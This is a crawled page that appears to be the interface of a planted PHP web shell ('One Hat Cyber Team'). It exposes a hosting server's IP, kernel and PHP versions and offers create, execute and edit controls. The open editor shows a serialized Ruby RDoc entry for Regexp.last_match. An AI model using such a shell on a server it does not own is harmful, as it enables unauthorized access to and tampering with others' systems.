⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.116
Server IP:
78.40.11.138
Server:
Linux tango.o2switch.net 4.18.0-553.30.1.lve.el8.x86_64 #1 SMP Tue Dec 3 01:21:19 UTC 2024 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
opt
/
alt
/
ruby19
/
share
/
ri
/
1.9.1
/
system
/
Regexp
/
Edit File: last_match-c.ri
U:RDoc::AnyMethod[iI"last_match:ETI"Regexp::last_match;TT:publico:RDoc::Markup::Document:@parts[ o:RDoc::Markup::Paragraph; [ I"NThe first form returns the <code>MatchData</code> object generated by the;TI"Mlast successful pattern match. Equivalent to reading the global variable;TI"J<code>$~</code>. The second form returns the <i>n</i>th field in this;TI"#<code>MatchData</code> object.;TI"G<em>n</em> can be a string or symbol to reference a named capture.;To:RDoc::Markup::BlankLine o; ; [I"RNote that the <code>last_match</code> is local to the thread and method scope;TI".of the method that did the pattern match.;T@o:RDoc::Markup::Verbatim; [I"#/c(.)t/ =~ 'cat' #=> 0 ;FI":Regexp.last_match #=> #<MatchData "cat" 1:"a"> ;FI"'Regexp.last_match(0) #=> "cat" ;FI"%Regexp.last_match(1) #=> "a" ;FI"%Regexp.last_match(2) #=> nil ;FI" ;FI"4/(?<lhs>\w+)\s*=\s*(?<rhs>\w+)/ =~ "var = val" ;FI"NRegexp.last_match #=> #<MatchData "var = val" lhs:"var" rhs:"val"> ;FI"'Regexp.last_match(:lhs) #=> "var" ;FI"&Regexp.last_match(:rhs) #=> "val";F: @file0I"RRegexp.last_match -> matchdata Regexp.last_match(n) -> str ;T0[ I"(p1 = v1);FI" re.c;T
Simpan